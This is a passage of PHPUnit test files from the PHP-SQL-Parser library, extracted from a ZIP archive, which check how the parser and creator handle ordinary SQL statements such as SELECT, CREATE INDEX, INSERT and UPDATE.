        $parser = new PHPSQLParser($sql,true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue62b.serialized');
        $this->assertEquals($expected, $p, '? after operand');


        $sql = "SELECT * FROM table1 IGNORE INDEX(PRIMARY)";
        $parser = new PHPSQLParser($sql,false);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue62c.serialized');
        $this->assertEquals($expected, $p, 'IGNORE INDEX within FROM clause');

    }
}

PK     \m9iA	  A	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue131Test.phpnu [        <?php
/**
 * issue131.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue131Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue131() {


        $sql = "create unique index i1 using BTREE on t1 (c1(5) DESC, `col 2`(8) ASC) ALGORITHM=DEFAULT using hash LOCK=SHARED";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue131.serialized');
        $this->assertEquals($expected, $p, 'create index statement');

    }
}

PK     \_i}	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue65Test.phpnu [        <?php
/**
 * issue65.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue65Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue65() {


        $sql = "select i1, count(*) cnt from test.s1 group by i1";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue65.serialized');
        $this->assertEquals($expected, $p, 'It treats the alias as a colref.');

    }
}

PK     \t1    ?  vendor/greenlion/php-sql-parser/tests/cases/parser/zeroTest.phpnu [        <?php
/**
 * zero.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class zeroTest extends \PHPUnit\Framework\TestCase {
	
    public function testZero() {
        $parser = new PHPSQLParser();
        $sql = 'SELECT c1
                  from some_table an_alias
        	where d > 0;';
        $parser->parse($sql);
        $p = $parser->parsed;
        $this->assertEquals('0', $parser->parsed['WHERE'][2]['base_expr']);

    }
}

PK     \    @  vendor/greenlion/php-sql-parser/tests/cases/AbstractTestCase.phpnu [        <?php

namespace PHPSQLParser\Test;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;
use Analog\Analog;

abstract class AbstractTestCase extends \PHPUnit\Framework\TestCase {

	protected $parser;
	protected $creator;

	protected function log($message) {
		Analog::log(print_r($message, true));
	}
	
	protected function logSerialized($message) {
		Analog::log(serialize($message));
	}
	
	/**
	 * @before
	 * Executed before each test
	 */
	protected function setup(): void {
		$this->parser = new PHPSQLParser();
		$this->creator = new PHPSQLCreator();
	}

	/**
	 * Helper function for getting the expected array
	 * from a file as serialized string.
	 * Returns an unserialized value from the given file.
	 *
	 * @param String $filename
	 */
	protected function getExpectedValue($path, $filename, $unserialize = true) {
		$path = explode(DIRECTORY_SEPARATOR, $path);
		$content = file_get_contents(dirname(__FILE__) . "/expected/" . array_pop($path) . "/" . $filename);
		return ($unserialize ? unserialize($content) : $content);
	}

}
?>
PK     \Y	  Y	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue121Test.phpnu [        <?php
/**
 * issue121.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue121Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue121() {
        $query = "CREATE TABLE t (mv DECIMAL(3) DEFAULT 10)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue121.sql', false);
        $this->assertSame($expected, $created, 'create table with default value');

    }
}

PK     \Y*	  *	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/functionTest.phpnu [        <?php
/**
 * function.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class functionTest extends \PHPUnit\Framework\TestCase {
	
    public function testFunction() {
        $sql = 'SELECT 	SUM( 10 ) as test FROM account';
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'function.sql', false);
        $this->assertSame($expected, $created, 'a function');

    }
}

PK     \^V1	  1	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue85Test.phpnu [        <?php
/**
 * issue85.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue85Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue85() {
        $sql = "SELECT haha(foo, bar);";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue85.sql', false);
        $this->assertSame($expected, $created, 'SELECT statements without FROM (wtf?)');

    }
}

PK     \M2G    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue242Test.phpnu [        <?php
/**
 * issue242.php
 *
 * Test case for PHPSQLCreator.
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue242Test extends \PHPUnit\Framework\TestCase {
	
	public function testOnDuplicateKey() {
        $sql = "INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('some_key', 'some_value', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)";

        $parser = new PHPSQLParser();
		$parser->parse($sql);

		$creator = new PHPSQLCreator();
		$created = $creator->create($parser->parsed);
		$this->assertEquals($sql, $created);
	}

    public function testOnDuplicateKeyAbsValues() {
        $sql = "INSERT INTO wp_dh_wfConfig (name, val, autoload) VALUES ('totalAlertsSent', '16', 'yes') ON DUPLICATE KEY UPDATE val = '16', autoload = 'yes'";

        $parser = new PHPSQLParser();
        $parser->parse($sql);

        $creator = new PHPSQLCreator();
        $created = $creator->create($parser->parsed);
        $this->assertEquals($sql, $created);
    }

    public function testNormalInsert() {
        $sql = "INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('some_key', 'some_value', 'yes')";

        $parser = new PHPSQLParser();
        $parser->parse($sql);

        $creator = new PHPSQLCreator();
        $created = $creator->create($parser->parsed);
        $this->assertEquals($sql, $created);
    }

    public function testNormalInsertMultipleValues() {
        $sql = "INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('some_key', 'some_value', 'yes'), ('some_key', 'some_value', 'yes')";

        $parser = new PHPSQLParser();
        $parser->parse($sql);

        $creator = new PHPSQLCreator();
        $created = $creator->create($parser->parsed);
        $this->assertEquals($sql, $created);
    }
}
PK     \~/	  /	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue126Test.phpnu [        <?php
/**
 * issue126.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue126Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue126() {
        $query = "DELETE FROM t1";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue126.sql', false);
        $this->assertSame($expected, $created, 'delete statement');

    }
}

PK     \3o _;	  ;	  B  vendor/greenlion/php-sql-parser/tests/cases/creator/updateTest.phpnu [        <?php
/**
 * update.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class updateTest extends \PHPUnit\Framework\TestCase {
	
    public function testUpdate() {
        $sql = "UPDATE `table` SET a = 15, b = 'haha' WHERE x = now()";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'update.sql', false);
        $this->assertSame($expected, $created, 'UPDATE with function');

    }
}

PK     \~~	  	  H  vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git185Test.phpnu [        <?php

/**
 * issue_git185Test.php
 *
 * Test case for PHPSQLParser from issue #185 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class IssueGit185TestTest extends \PHPSQLParser\Test\AbstractTestCase {
	
	public function testIssueGit185() {
		$query = "
		SELECT seen, id, name, cep, date_format(created,'%d/%m/%Y %h:%i:%s') as created
        FROM user
        WHERE approved = 0 and canceled = 0
		";

		$p = $this->parser->parse($query, true);
		$created = $this->creator->create($p);
	
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git185.sql', false );
		$this->assertEquals ( $expected, $created, 'haha' );
	}
}
?>
PK     \    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue270Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue270Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue319()
    {
        $sql = 'SELECT * FROM table1 LEFT JOIN table2 USING (id1) LEFT JOIN table3 USING(id2) LEFT JOIN table4 ON table3.id3 = table4.id3';
        $createdSql = 'SELECT * FROM table1 LEFT JOIN table2 USING (id1) LEFT JOIN table3 USING (id2) LEFT JOIN table4 ON table3.id3 = table4.id3';

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($createdSql, $creator->create($parser->parsed));
    }
}
PK     \a)fH	  H	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue92Test.phpnu [        <?php
/**
 * issue92.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue92Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue92() {
        $sql = "SELECT cid*2 FROM cities ORDER BY country";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue92.sql', false);
        $this->assertSame($expected, $created, 'Expression subtree should handle colrefs.');

    }
}

PK     \K=    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue342Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue342Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue342()
    {
        $sql = 'SELECT if(true,true,false) FROM t';

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($sql, $creator->create($parser->parsed));
    }
}
PK     \C	  C	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue87Test.phpnu [        <?php
/**
 * issue87.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
